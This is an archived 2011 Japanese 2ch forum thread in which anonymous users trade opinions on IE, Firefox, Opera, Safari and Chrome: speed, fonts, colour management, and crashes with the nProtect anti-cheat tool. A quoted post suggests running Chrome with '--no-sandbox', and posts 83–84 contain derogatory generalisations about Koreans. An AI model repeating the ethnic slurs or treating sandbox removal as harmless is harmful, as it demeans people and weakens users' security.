5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

IE×Firefox×Opera×Safari×Chrome最終戦争18回戦

1 :名無しさん@お腹いっぱい。:2011/05/15(日) 02:48:52.26 ID:hLDgZiG70
【前スレ】
IE×Firefox×Opera×Safari×Chrome最終戦争17回戦
http://hibari.2ch.net/test/read.cgi/software/1302338662/

【関連スレ】
IE
http://find.2ch.net/?STR=IE&COUNT=50&TYPE=TITLE&BBS=ALL
Firefox
http://find.2ch.net/?STR=Firefox&COUNT=50&TYPE=TITLE&BBS=ALL
Opera
http://find.2ch.net/?STR=Opera&COUNT=50&TYPE=TITLE&BBS=ALL
Safari
http://find.2ch.net/?STR=Safari&COUNT=50&TYPE=TITLE&BBS=ALL
Chrome
http://find.2ch.net/?STR=Chrome&COUNT=50&TYPE=TITLE&BBS=ALL

スレタイ以外のブラウザの話がしたい方はこちらへどうぞー
Webブラウザ総合スレ4
http://hibari.2ch.net/test/read.cgi/software/1269527865/
タブブラウザ総合スレ Part6
http://hibari.2ch.net/test/read.cgi/software/1246877593/

2 :名無しさん@お腹いっぱい。:2011/05/15(日) 02:49:33.87 ID:hLDgZiG70
主要ブラウザ
IE→情弱もしくはデフォ最強厨向け、IE9は中々優秀だが他ブラウザに追いつかれるのも時間の問題
http://pds.exblog.jp/pds/1/200902/01/20/c0198720_15331642.jpg
Firefox→自分は情強と思い込んでる情弱御用達、メジャーアップデートのたびにアドオンの半数が死亡
http://shumali.net/aki/uploads/photos/firefox.jpg
Chrome→Googleサービスとの親和性は最強、スパイウエアと強制アップデート入りのメモリ喰いブラウザ
http://file.itao.guhaw.com/img_1757261_61702039_0.jpg
Safari→マカー向け、フォントの綺麗さだけがとりえの色物ブラウザ
http://blog-imgs-38-origin.fc2.com/n/e/k/nekosawasawa/safari.jpg
Opera→他のブラウザでは物足りない仙人御用達、シェアは常に1〜2%の揺るがない某伝説
http://upload.wikimedia.org/wikipedia/commons/thumb/3/3a/Opera-tan-9.svg/800px-Opera-tan-9.svg.png

その他有名ブラウザ
ChromePlus→中国の気質が息づくシナ産ブラウザ
Iron→Chromeから爆弾だけを取り除いたChromium系最強ブラウザ
RockMelt→各種SNSに特化したネト充向けブラウザ
Luna/pnir→国産マンセーの一部の信者にしか使われてない複数エンジン搭載ブラウザ
http://shumali.net/aki/uploads/photos/lunascape.jpg
http://shumali.net/aki/uploads/photos/sleipnir.jpg
Dounut→やたら無駄な派生が多い誰得ブラウザ
KIKI→もはやツリーだけがとりえの空気ブラウザ

3 :名無しさん@お腹いっぱい。:2011/05/15(日) 03:12:41.55 ID:3v5d7uROP
まだやるのか

4 :名無しさん@お腹いっぱい。:2011/05/15(日) 06:24:47.36 ID:pN0MZpZW0
>>1

プラズマ描画速度チェック1.00002
http://www.death-note.biz/up/q/22601.html

図形描画チェック1.000002
http://www.death-note.biz/up/q/22602.html

5 :名無しさん@お腹いっぱい。:2011/05/15(日) 07:59:57.13 ID:+ocSuIgs0
>>2
皮肉にもIEが一番可愛い

6 :名無しさん@お腹いっぱい。:2011/05/15(日) 08:01:49.43 ID:+ocSuIgs0
Canvas、CSS、SVGはどう使い分ければいいんじゃ?

7 :名無しさん@お腹いっぱい。:2011/05/15(日) 08:06:23.50 ID:TLieErxP0
> これは天下の ICC : International Color Consortium / 国際色協会 も行っているテストで、
> 一切の色管理を行っていないシステムだと色がめちゃくちゃに見えます。
> 逆に最低限のカラーマッチングができるシステムなら、全ての画像が同じように見えます。

ttp://miyahan.com/me/report/computer/070125_WUXGA_LCD/ColorManagement.html#Intro

8 :名無しさん@お腹いっぱい。:2011/05/15(日) 08:21:18.38 ID:DVe13OU90
前スレの1000が幸せになりますように

1000 名前: 名無しさん@お腹いっぱい。 Mail: sage 投稿日: 2011/05/14(土) 22:09:46.29 ID: 1Xp9R/FM0
1000なら駅前の黒沢dcの受付と結婚する。

9 :名無しさん@お腹いっぱい。:2011/05/15(日) 12:47:53.81 ID:5JtTiiW00
>>7
MacなのにChromeやOperaだと同じ色にならない…
SafariとFirefoxは同じに見えた

10 :名無しさん@お腹いっぱい。:2011/05/15(日) 13:09:35.02 ID:aCPjUu7+0
カラーマネジメントネタでこれ以外のページ見たことないな。
需要ほとんどないんじゃない?

11 :名無しさん@お腹いっぱい。:2011/05/15(日) 13:49:53.08 ID:DVe13OU90
ここのブログの写真とか比べてみ。
ttp://yakeisyashin.blog107.fc2.com/
ブラウザによって若干の差が出るのは事実なんだよな。
写真系のサイトを作る人だったら気になるところかもしれん。

12 :名無しさん@お腹いっぱい。:2011/05/15(日) 14:53:17.66 ID:wDDsFvji0
Firefoxのカラーマネジメントって何故か退化しちゃったんだよな

13 :名無しさん@お腹いっぱい。:2011/05/15(日) 15:36:56.35 ID:OkHu1/BW0
>>12
処理速度を進化させるためにversion 4対応を犠牲にしたのよ。
http://d.hatena.ne.jp/Rockridge/20091009/1255106158

14 :名無しさん@お腹いっぱい。:2011/05/15(日) 17:03:23.88 ID:UdeBOaZeP
本来カラーマネジメント気にするのはmac厨だけ

15 :名無しさん@お腹いっぱい。:2011/05/15(日) 18:01:50.98 ID:gExDBp1J0
カラーマネジメントを有効にすると、パフォーマンスがかなり下がるらしいね。
速さが売り物のブラウザは採用しにくいわな。

16 :名無しさん@お腹いっぱい。:2011/05/15(日) 18:09:25.48 ID:44VLUMnS0
ICCとかSafariにやらせとけよ
一般人にはどうでもいい

17 :名無しさん@お腹いっぱい。:2011/05/15(日) 21:10:52.00 ID:gExDBp1J0
画像の話題ということでWebP
ttp://code.google.com/intl/ja/speed/webp/gallery.html#samples
カラーマネジメントとちがって対応しているブラウザが優れているとは一概には言えないが。

18 :名無しさん@お腹いっぱい。:2011/05/15(日) 21:35:05.51 ID:sIj9lumP0
>>11
モニターのキャリブレーションが出来る環境があるのが前提の規格を
一般向けブラウザに採用しろって言う方が無理があるんじゃね?

19 :名無しさん@お腹いっぱい。:2011/05/16(月) 01:40:23.07 ID:x2RPuSNi0
>>11
FxとOperaで比べたら、Fxの方がフィルターがかかったような
不自然な色に見えるorz

20 :名無しさん@お腹いっぱい。:2011/05/16(月) 04:26:50.26 ID:67WFDm3/0
>>18
単にWindowsの不備が過ぎるだけの現状で、そういう結論になる必要はない。
もっと自然に考えればいい。

21 :名無しさん@お腹いっぱい。:2011/05/16(月) 07:39:09.73 ID:tEcQqnsg0
>>19
作者が意図しているのはOperaの色ではなく、
Fxの方の効果をかけた感じの色じゃね。

Color Managementは正直無くても困らないからOpera使ってるけど
無いよりはあった方が良いに決まってる。

22 :名無しさん@お腹いっぱい。:2011/05/16(月) 08:15:03.30 ID:pjUx6iiH0
こんな不自然でキモイ写真を見るくらいなら
カラーマネージメントあってもなくても同じww

23 :名無しさん@お腹いっぱい。:2011/05/16(月) 10:34:22.50 ID:Zl56US180
>>7
Safariだとほぼ同じに見えるが、右上→左上→下段の順に若干薄くなってるようにも見える
まぁ環境や設定に依存する部分もあるだろうけど

24 :名無しさん@お腹いっぱい。:2011/05/16(月) 10:59:03.30 ID:Zl56US180
ああ、ブラウザ横に広げたら画像全部同じ列だったし、色もほとんど同じに見えるようになったわ
しょぼい液晶だと表示される位置が違うだけでこうも色が変わるものなのか・・・だがやはり真ん中は若干赤が濃いな

25 :名無しさん@お腹いっぱい。:2011/05/16(月) 12:46:02.29 ID:1cI5fGoP0
>>22
それはこの人の好みの話であって、自然な写真も変わっちゃうだろ?

26 :名無しさん@お腹いっぱい。:2011/05/16(月) 18:12:00.88 ID:Av6oeysPO
どんどん充実してくるクロムウェブストア見る度にあぁやっぱりこれからはクラウドの申し子GoogleChromeの時代なんだな。と実感する

27 :名無しさん@お腹いっぱい。:2011/05/16(月) 18:43:51.36 ID:T2IhS7XD0
定期点検ご苦労様ですー

28 :名無しさん@お腹いっぱい。:2011/05/16(月) 19:10:53.71 ID:mG4YV6egP
クラウドの申し子ということはゴミ確定ですな

29 :名無しさん@お腹いっぱい。:2011/05/16(月) 20:08:34.64 ID:gvcBka160
クラウド厨きも・・・

30 :名無しさん@お腹いっぱい。:2011/05/16(月) 20:30:10.29 ID:tEcQqnsg0
クラウドって聞くだけでああはいはいゴミねって思ってしまうよな。
ここのスレのChrome厨も、ひょっとすると雇われてアンチGoogleを
広めているのかもな。

31 :名無しさん@お腹いっぱい。:2011/05/16(月) 22:12:31.76 ID:FK4cZtcA0
クラウドなんて飽和攻撃しかけられたら一発だもんなw
回線切ればいいって手も使えないものをまともな企業が重要なところに使うわけがない

32 :名無しさん@お腹いっぱい。:2011/05/17(火) 11:25:30.15 ID:uxCMSCXs0
くらうど()
せふぃろす()


33 :名無しさん@お腹いっぱい。:2011/05/17(火) 14:20:19.08 ID:UKHFegEs0
クラウドと言っても自社鯖でしょうな

34 :名無しさん@お腹いっぱい。:2011/05/17(火) 15:22:08.57 ID:CqaDQe5mO
スピード
chrome≧IE9=FF4
(特に画像が多いサイトでは明らかな差がでる。例えばアップルのホームページとか。FFは起動が遅いがブラウジング自体はIEより速いかも)

素の機能
chrome=IE9≧FF4(chromeはインスタント検索やPDFを読めるに対しIE9は拡張終わってるから最初から色々ついてるので=か)

拡張性
FF4≧chrome∞IE9
(現時点ではFFだがchromeウェブストア始まって勢いを感じる。抜くのは時間の問題ではないかな)

クラウド
chrome∞FF4≧IE9
(これからの主流となるクラウドコンピューティングの牽引役であるGoogleさんのブラウザであり当然。マイクロソフトもやってはいるがホットメイル等、何やるにしても動作が遅い…)

特典
chrome≧IE9>FF4
(今や神コンテンツと呼べるyoutubeやGoogleマップが速くなる。IE9はやっぱりWindowsとの連携)

35 :名無しさん@お腹いっぱい。:2011/05/17(火) 15:25:25.19 ID:foLpe4jX0
クラウドの申し子ですね分かります

36 :名無しさん@お腹いっぱい。:2011/05/17(火) 15:27:56.17 ID:d9F6HZrmP
>>34
拡張性でOperaを抜いているあたり、意図的なものを感じるな

37 :名無しさん@お腹いっぱい。:2011/05/17(火) 15:29:31.99 ID:EHWPm2980
Operaは拡張というよりカスタマイズのイメージが強い
そのカスタマイズで無茶苦茶できるから凄いんだけど

38 :名無しさん@お腹いっぱい。:2011/05/17(火) 15:29:54.01 ID:69i+9uK20
>>33
そっちの方は個人的に期待してるけどな

39 :名無しさん@お腹いっぱい。:2011/05/17(火) 18:04:22.84 ID:f2H0rXmV0
情報流出
chrome>IE9>FF4
(すべての情報をGoogle様に送信してくれる。隠し機能まで満載。)

40 :名無しさん@お腹いっぱい。:2011/05/17(火) 18:51:13.79 ID:c8aTl0jl0
>>34
今日もAnti-Chrome活動お疲れ様です
そのお仕事、Facebookからいくらもえるんですか?

41 :名無しさん@お腹いっぱい。:2011/05/17(火) 19:54:24.51 ID:+fWfsY1lP
自社鯖クラウドってOperaじゃね?

42 :名無しさん@お腹いっぱい。:2011/05/17(火) 20:06:52.83 ID:EEz+SmYj0
PlayStationNetworkの情報流出に比べたらChromeなんてたいした問題ではない

43 :名無しさん@お腹いっぱい。:2011/05/17(火) 20:11:20.67 ID:/Gv5eYwnO
ID管理されて喜んでる豚が

44 :名無しさん@お腹いっぱい。:2011/05/17(火) 22:41:05.57 ID:xl+LGUXv0
Chromeなんか使うくらいならIronを使う

45 :名無しさん@お腹いっぱい。:2011/05/18(水) 01:53:18.75 ID:a04Rg6Ch0
何かとお手軽なのでFirefoxからChromeに乗り換えた数ヶ月
急にFirefoxに戻りたくなってきた
Request PolicyとRefcontrolで
鬱陶しいアレコレを切って超軽量にできるのは魅力

46 :名無しさん@お腹いっぱい。:2011/05/18(水) 01:53:41.09 ID:a04Rg6Ch0
>>45
×乗り換えた
○乗り換えて

47 :名無しさん@お腹いっぱい。:2011/05/18(水) 09:06:18.43 ID:zkcBmYDi0
RockMeltだっけか、あれも面白いんだけど
もう少し対象となるサイトが増えるといいな

48 :名無しさん@お腹いっぱい。:2011/05/18(水) 12:22:29.49 ID:FE+ETaYe0
Android機の99パーゼントがパスワード破りの危険に曝されている
http://jp.techcrunch.com/archives/2011051799-percent-of-android-devices-are-vulnerable-to-password-theft/

49 :名無しさん@お腹いっぱい。:2011/05/18(水) 12:24:34.31 ID:f5QxKJ+i0
Chromeはフォントのレンダリングが汚い。
速かろう汚かろうのブラウザである。

50 :名無しさん@お腹いっぱい:2011/05/18(水) 12:40:26.82 ID:Oa89uB/V0
IE9がIE6のシェアを超える - StatCounter(マイコミジャーナル)
http://headlines.yahoo.co.jp/hl?a=20110518-00000038-mycomj-sci

51 :名無しさん@お腹いっぱい。:2011/05/18(水) 16:26:43.39 ID:tssrGpy3P
フォントに凝るのは甘え

52 :名無しさん@お腹いっぱい。:2011/05/18(水) 16:52:14.78 ID:GWqgqQLH0
Chromeでgdi++とか失笑もんだなwww
フォントはこだわるけど色にはこだわらない(キリッ

53 :名無しさん@お腹いっぱい。:2011/05/18(水) 17:45:36.82 ID:f5QxKJ+i0
フォントにこだわらないのは怠惰である。

54 :名無しさん@お腹いっぱい。:2011/05/18(水) 17:49:36.54 ID:SlbYc9sR0
ChromeはMac版すら色管理しないもんな。Safariと同じWebkitなのに。
個人的には1タブ1プロセスを広めたのも犯罪的行為だと思うよ。
高速に見せるため色々チートしてることはわかる。

55 :名無しさん@お腹いっぱい。:2011/05/18(水) 17:58:19.11 ID:c6NR7loK0
確かにchromeのフォントはすこし汚く感じたな


56 :名無しさん@お腹いっぱい。:2011/05/18(水) 18:44:08.56 ID:CZh7HmZo0
fontにヒラギノ指定したらChromeで大惨事になる

57 :名無しさん@お腹いっぱい。:2011/05/18(水) 20:15:45.98 ID:hbMo76u+0
久しぶりのopera使ったんだけど
すごく遅くてびっくりした

58 :名無しさん@お腹いっぱい。:2011/05/18(水) 20:28:03.21 ID:PHqrNIl10
>>57
具体的に何が?
描画が? Javascriptが? 挙動が? 起動が? レスポンスが? Turboが? 
セキュリティの対応が? バージョンアップが? 待ち時間が?

59 :名無しさん@お腹いっぱい。:2011/05/18(水) 20:29:32.95 ID:c6NR7loK0
そこまで必死にならんでもw
アドオン関連ごってり詰まなきゃどこもそう変わらんだろ
そうなると標準でいろいろついてるoperaがいいかもな

60 :名無しさん@お腹いっぱい。:2011/05/18(水) 20:53:29.64 ID:Gqlb/Yp0P
11.10から地雷だからな

61 :名無しさん@お腹いっぱい。:2011/05/18(水) 20:54:48.96 ID:qUAB6zIR0
operaってなんでシェア増えないの?
神々しすぎて恐れ多くて使えないの?

62 :名無しさん@お腹いっぱい。:2011/05/18(水) 21:00:18.59 ID:GrgtbYou0
使いこなすやつにとっては最強
それ以外じゃカス
それがOpera
2〜3%が妥当なくらい

63 :名無しさん@お腹いっぱい。:2011/05/18(水) 21:01:31.05 ID:f5QxKJ+i0
OperaはChromeのようにゴリ押しの宣伝をしていない。慎ましいという意味において
神々しいという言葉はある意味Operaにふさわしいのかもしれないが恐れ多くて使えない
ということはない。つまりOpera最強伝説である。

64 :名無しさん@お腹いっぱい。:2011/05/18(水) 22:20:33.11 ID:FE+ETaYe0
Opera 11.11 来てた

65 :名無しさん@お腹いっぱい。:2011/05/18(水) 23:36:52.41 ID:bdDXSuKs0
来たか…

66 :名無しさん@お腹いっぱい。:2011/05/19(木) 00:34:56.61 ID:gYC8xGmS0
>>58
もの凄く表示が遅い…

67 :名無しさん@お腹いっぱい。:2011/05/19(木) 01:02:45.34 ID:4wf6VZOY0
そういやOperaってGPU支援搭載してたっけ?

68 :名無しさん@お腹いっぱい。:2011/05/19(木) 01:07:11.88 ID:s2k3m1w80
まだ
11.50待ち

69 :名無しさん@お腹いっぱい。:2011/05/19(木) 01:14:58.53 ID:Zp7Xa9GF0
Opera Turboにチェック入れてるに100ペリカ

70 :名無しさん@お腹いっぱい。:2011/05/19(木) 01:56:43.96 ID:fC+87QiK0
>>63
訴訟起こして選択画面を導入させた慎ましさね

71 :名無しさん@お腹いっぱい。:2011/05/19(木) 02:03:31.31 ID:C62Kl+w50
>>39
家9 も Bing に情報送ってるぞ。


72 :名無しさん@お腹いっぱい。:2011/05/19(木) 05:58:04.04 ID:jEWUflSX0
>>69
うむ。俺もそれで。

73 :名無しさん@お腹いっぱい。:2011/05/19(木) 23:30:45.96 ID:9B4e8NhS0
ターボ無効でもオペラの描画は遅い

74 :名無しさん@お腹いっぱい。:2011/05/20(金) 02:28:14.02 ID:UQi8B26p0
体感速度は大事
Mac使っててFxとOperaがSafariより軽快に感じた事なんて今まで一度もない
Safariと違ってなんかいちいち引っかかる感じ

Chrome?入れるわけない

75 :名無しさん@お腹いっぱい。:2011/05/20(金) 03:05:46.16 ID:xVEjMSmg0
>>74
Mac使ってるけどSafariの融通のきかなさは最低レベル
速度も持ち上げるほどじゃないどころかページによっては相当重い
使ってるマシンスッペクが貧弱なんじゃないの
自分はFx=Chrome>Opera>>>Safariって評価

76 :名無しさん@お腹いっぱい。:2011/05/20(金) 03:14:53.05 ID:6efbwD4C0
Mac版に関して言えば昔のFirefox(3.0Beta5まで)は
マシンスペックが貧弱でもなんとかなったんだけど
今(3.0正式版以降)は古いマシンじゃきついね

ウインドウ描画方式が変更されたことが大きい
PowerPCも切り捨てたし

77 :名無しさん@お腹いっぱい。:2011/05/20(金) 06:08:51.97 ID:hhXGwlzl0
>>75
だが謹製なので起動速度が一番早いじゃん。
パッと立ち上がるのでググって調べるだけの時に便利。
TopSiteは遅くなるだけなので切る。

78 :名無しさん@お腹いっぱい。:2011/05/20(金) 11:46:13.07 ID:4AazYdC90
やっぱディファクトスタンダードだしセキュリティソフトもMSEだし
IE9使いたいのはあるけどクロム+Gmail+Googleカレンダーグーグルさんセットに慣れると
IE9+hotmail+hotmailカレンダーマイクロソフトセットは重くてなあ


79 :名無しさん@お腹いっぱい。:2011/05/20(金) 11:55:54.49 ID:71cq8tqsP
Chrome結構好きなんだけどネトゲとかやってる俺だと
nPro関連で不具合起こしてゲーム中動作しなくなるからなあ・・・

80 :名無しさん@お腹いっぱい。:2011/05/20(金) 12:48:47.48 ID:Ytk+zBjI0
>>79
韓国は IE 率が高いので、nPro が IE しか考えていないだけ。
http://gs.statcounter.com/#browser-KR-daily-20100501-20110501

世界的に見れば Chrome+Firefox > IE なので、
nPro 側が悪い、もしくは、世界規模でネトゲを出しているネトゲが nPro を採用しているのが悪い。

81 :名無しさん@お腹いっぱい。:2011/05/20(金) 13:03:22.11 ID:9SzxCjmz0
>>80
世界的に見たブラウザのシェアなどどうでもよい。
ゲーム中に動作しなくなる現象は、nProが悪い、ネトゲが悪いといったところで
起きる。Chromeが使い物にならないことにかわりはない。


82 :名無しさん@お腹いっぱい。:2011/05/20(金) 13:43:00.48 ID:UQi8B26p0
>>75
あり得ない
MBP15e2011松

83 :名無しさん@お腹いっぱい。:2011/05/20(金) 13:44:03.21 ID:Ytk+zBjI0
>>81
nPro が IE しか対応していないだけでしょ。
nProtection 自体が、既知の不具合として、自分のところの製品のバグだと認めている。
Chrome は正常動作なんだから、Chrome をクソとか言うのは筋違い。
Chrome に対応するように、ネトゲメーカーに文句いうのが筋だろ。

というか、Chrome だけでなく、
「マルチプロセスのソフトは、GameGuardが起動している間プロセス間通信が行えず正常動作できない。」
という不具合。だから、ちょい前にマルチプロセス化した、Firefox も正常動作できないんじゃないかな。
avast とかのウイルス対策ソフトも正常動作できないよね。

nPro が問題なのに、「Chrome 等が悪い」と決め付ける所あたり、
なんか認識がズレてないか?まるで韓国人みたい。
ActiveX 対応していない Chrome, Firefox が悪い、とかそのうち言い出しそうだなw


84 :名無しさん@お腹いっぱい。:2011/05/20(金) 14:09:24.06 ID:L5kx34HK0
そう聞くと納得もできるが
一般人の大多数が「Chromeが動かないからChromeが悪い」と思うのは自然なことじゃね?

韓国は国益のために歴史を隠蔽し、その弊害で論理的思考が妨げられ一般には感情論が広まり
最悪そうなったことすらも日本のせいにするつもりでいるし
日本も今回の震災で隠蔽体質を自国民に知らしめる事になったが、そんなことは全く関係ない

85 :名無しさん@お腹いっぱい。:2011/05/20(金) 15:06:45.79 ID:X6UA8IZj0
ネトゲ優先ってことなら確かにそうなるな
俺はやらないから関係ないけど
なんでもそうだがまず動くことが大事

86 :名無しさん@お腹いっぱい。:2011/05/20(金) 15:23:46.95 ID:XysiEjwt0
chromiumマジおすすめ

87 :名無しさん@お腹いっぱい。:2011/05/20(金) 15:26:21.01 ID:Aq28++R/0
ネトゲたまにやるけど、IEはネトゲ起動用のブラウザと化してるなあw

88 :名無しさん@お腹いっぱい。:2011/05/20(金) 15:44:25.78 ID:k7bPlSE60
>> 84
ブラウザにネットウヨ理論はいらんよ

89 :名無しさん@お腹いっぱい。:2011/05/20(金) 16:26:40.66 ID:9SzxCjmz0
>>83
うん。だからnProの問題だといったところでChromeを使用するときに
動作しなくなる現象がなくなるわけではない。それをいっているんだ。
動作しなくなるのがChromeのバグだといっているのではない。
ゲーム中動作しなくなるからChromeは使いづらいといっている。
原因がどこにあるかなどだれも聞いていないし興味ない。お前は話をすり替えてるだけだ。

90 :名無しさん@お腹いっぱい。:2011/05/20(金) 16:32:55.90 ID:20qPtl8u0
846 :名無しさん@お腹いっぱい。:2011/05/19(木) 23:46:39.55 ID:s+UOQ8lh0
フラッシュや動画がIEにも劣ってることはわかっていながらも
それでもおれはオペラが好きで使ってるんだ・・・
それなのに改善する余地がないし、むしろどんどん劣化していく
ある程度でいいんだ・・・頼むぜ

91 :名無しさん@お腹いっぱい。:2011/05/20(金) 16:39:41.21 ID:PVmoA4Y+0
firefox5 beta
もっともっさりになっちゃったー。
もっさりたくみのかみ・ふさのすけくん
老境に優しいブラウザ!

92 :名無しさん@お腹いっぱい。:2011/05/20(金) 18:30:31.45 ID:6gh9BFxoP
>>89
キチガイヒキニートに構うなよ

93 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:12:42.87 ID:KxdIc+p10
>>89
まぁ確かにネトゲが優先されるのであれば、
Chrome は使いづらいのではないかと思うよ。

ただ、>>81のように「Chrome が使い物にならない」というのは、いささか意見が偏っているかと。
Chrome に原因があるのならわかるが、そうではないわけで。
そもそも、Firefox なども使いものにならないんじゃないの?

更にWeb ブラウジングが優先されるのであれば、逆に
「nPro 使ってるネトゲが使いものにならない。」
ということも言える。

お前こそ、nPro の問題に目をつぶって、話をすり替えているように見えるよ。
nPro 開発者かなんかか?w
速く対応しろよ。ここは韓国と違って、Chrome や Firefox のシェアが高いんだから。
欧米ではもっと高いぞ。
ヨーロッパでは、既に Firefox > IE だし。

94 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:28:46.31 ID:KxdIc+p10
ついでに、衝撃的な事実があるみたいたぞww

http://nudjat.blog6.fc2.com/blog-entry-26.html
>nProtect(GameGuard)とぶつかりますorz
>IE9を立ち上げた状態でnProが入ったネットゲーム(真・三國無双Online)を起動すると、
>IE9がタブページの数だけクラッシュします。
>nProが起動しているときに複数のタブを開いた場合、
>もしくは複数のタブを開いているときにnProが起動するとクラッシュするようです。
>nProとぶつかるのが嫌でGoogle Chromeをやめた私。
>Google Chromeについては、この問題は"--no-sandbox"オプションで回避できるだけまだマシか…。

ぷww まぁ俺は、IE9 に問題があるのではなくて、nPro の方に問題があると思うのだが、
ID:9SzxCjmz0 の理屈によると、

「IE9 は Chrome よりも使い物にならない。」

というのが事実みたいだねw

95 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:29:31.43 ID:JxeLOj4BP
で?

96 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:43:13.09 ID:2gAIeoGC0
ネトゲじゃそうなんじゃない?
出てまだ日も浅いし

おかしなやつがいるな

97 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:46:24.98 ID:eBGUt1zD0
Firefoxはflashと相性が悪いのか動画を見てるとCPUとメモリーを占有して大変なことになる。
4.0になってちょっとはましになったけどやっぱり根本的には解決してなさそう。

Operaはその点は大丈夫だけどやや使い勝手が悪いのと終了した後に時々プロセスが残る
ことがあるのが厄介。

IE8は起動が速くて意外にいいけどやっぱり表示は速くないな。

Chromeはプロキシ設定がIEと共通になるので私の環境では選択肢にならなかった。

どれも一長一短か。


98 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:56:27.74 ID:KxdIc+p10
>>97
Chrome の場合は、拡張でプロキシ簡単に変更できるよ。
やろうと思えば、Tor串も使える。

99 :名無しさん@お腹いっぱい。:2011/05/20(金) 19:57:42.10 ID:KxdIc+p10
>>95
昔は
http://www.crimson-iris.com/~aya/archives/pc/#entry-592
こんな症状も会ったみたいなので、
ネトゲやっている人は、IE意外にも、Firefox や Chrome、Opera 等といった
ブラウザも入れておくといいよ、ってことだね。
メインをどっちにするかは好み次第だろうが、
IE だけ入れておくのは時々問題が起こることがあるので、
ネトゲを重視する人にとっても、あまり良くない。

もちろん、ネトゲ重視の人に Chrome 使用するのは
あまり薦められたものではないが、一応の回避策はあるみたい。
http://chrome.half-moon.org/31.html#c1fd497a

ってところかな。

Chrome 使っている場合は、新たに起動オプションを変更した
ショートカット作っておいて、ネトゲ使用時専用のランチャー
作っておくのも手だろね。

そして、nPro の方が問題なので、こんな所で愚痴るよりは、
直接ネトゲメーカーに要望出した方がいいし、
ここよりはネトゲ板にあるnProスレに書き込んだ方が
遥かに情報が得られる。実際、ネトゲスレでは、
感覚の真っ当な人たちが、nPro の方を批判している。


100 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:02:12.29 ID:P6EzyfBR0
ゲームなら、PS3とかゲーム専用機でやればいいやん
それじゃダメなのか


101 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:02:58.55 ID:eBGUt1zD0
>>98
ありがとう。

ところで、それってChrome側のプロキシ設定だけが切り替わるの?
IEの方の設定も変わると困る。


102 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:06:49.20 ID:9SzxCjmz0
>>93
nProの問題に目をつぶるも何も、問題がどこにある云々の話は最初からしていない。
その話をしているのは>>83だけだ。

Chromeを使っているとゲーム中動作しなくなるといっている。だからChromeは使いづ
らいといっている。Chromeについていっている。Firefoxがどうなのかは知らない。

>>81を読めばわかると思うがブラウザのシェアなどどうでもよい。
ヨーロッパでは、既に Firefox > IE だし。というのを俺にいうのはお門違いだ。

103 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:15:04.45 ID:KxdIc+p10
>>101
Proxy 変更の拡張はいくつかあるんだけど、
閲覧するサイトによって使用する Proxy を動的に変更できたりするので、
多分 IE と設定は被っていないと思う。
まぁ確認した訳でもないし、全ての拡張試したわけでもないから、
なんとも言えないけど・・・。

ちなみに、単に固定的な Proxy 使う場合で、IE から独立させたい場合は、
http://d.hatena.ne.jp/green0/20100203/1265173341
でも参考にすればいいかも。

104 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:18:34.99 ID:eBGUt1zD0
>>102
最後の行、ヨーロッパの一部の国では、でしょ。


105 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:19:39.34 ID:KxdIc+p10
>>102
>>99
そもそも始めの前提からして間違いだらけ。
Chrome には回避策がある。

IE9 は今現在対処されたかは知らないが、
出た当初は回避策すらなかった。

アンタの理屈によると、「IE9 は使い物にならない」でFA。

106 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:21:01.44 ID:KxdIc+p10
>>104
「ヨーロッパの一部の国」ではなく、「ヨーロッパ全体で」ね。
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501


107 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:21:12.75 ID:eBGUt1zD0
>>103
ありがとう。

とりあえずプロキシをコマンドラインで指定すれば切り替わるということは
IEとは独立してパラメータを持つのかな?来週、職場で試してみるよ。

Firefoxはadobe readerとも相性がいまいち。ときどき中身が出てこない。
Operaは意外に大丈夫。

108 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:25:35.81 ID:97vRRGOG0
ちょっと聞きました奥さん?職場でChromeですってよ

109 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:37:58.86 ID:9SzxCjmz0
>>105
俺はChromeはゲーム中動作しなくなるといった。だからChromeは使いづらいという発
言をした。で、その原因がどうなのだ、Firefoxがどうなのか、IE9がどうなのかとい
う話をしていない。

お前がいう始めの前提というのが何かわからない。お前がいう俺の理屈というのが何
かわからない。俺はChromeに対する感想を述べた。FAとしてIE9は云々というのを俺
にするのは返信先を間違っているとしか思えない。

110 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:43:54.93 ID:/Oibht6s0
俺もChromeメインで使おうと思ったけどネトゲ中にブラウザ起動して調べ物したいのに使えないんで削除したはw

111 :名無しさん@お腹いっぱい。:2011/05/20(金) 20:55:00.58 ID:KxdIc+p10
>>109
しつこいなー。

1.始めの前提から違うということについて。
「Chrome はゲーム中動作しなくなるので、使い物にならない。」(>>81等参照)ていう大前提が、
実はChrome には回避手段がキチンとあるので、一般論的に「ゲーム中動作しない」ということにはならない、
と言っていただけ。

2.お前の理屈がどうのこうのについて。
お前の理屈は、
「原因がどこにあるか等は関係なく、nPro を使ったゲーム中に、使えなくなるブラウザは使いものにならない。」
ってことだろ。
今はどうか知らないが、丁度 IE9 が発表された当初なんかは、そういう感じだったわけ。
しかも、IE9 は回避手段すらなかったので、文字通り「nPro 使ったゲーム中に、IE は使えない。」という
事態が起こっていた。従って、お前の理屈に従えば、「IE は使いものにならない。」ということになるね?
と言っただけ。

まぁ、わかったよ。Chrome に何のオプションも付けなければ、
「Chrome はゲーム中動作しなくなる。」ってことがいいたかったんでしょ?
はいはい、そうですね。

それと、ここは Firefox, IE, Safari 等の比較スレなので、
例えば 「 nPro によって(デフォルト設定の)Chrome は起動できなくなる。 」
と言った場合、他のブラウザもそれが当てはまるかどうかを比較し考えるのは自然な流れだよ。
スレチな話ではないので、お前になんたら言われる筋合いはない。
返信先は、まさにお前で間違ってないよ。


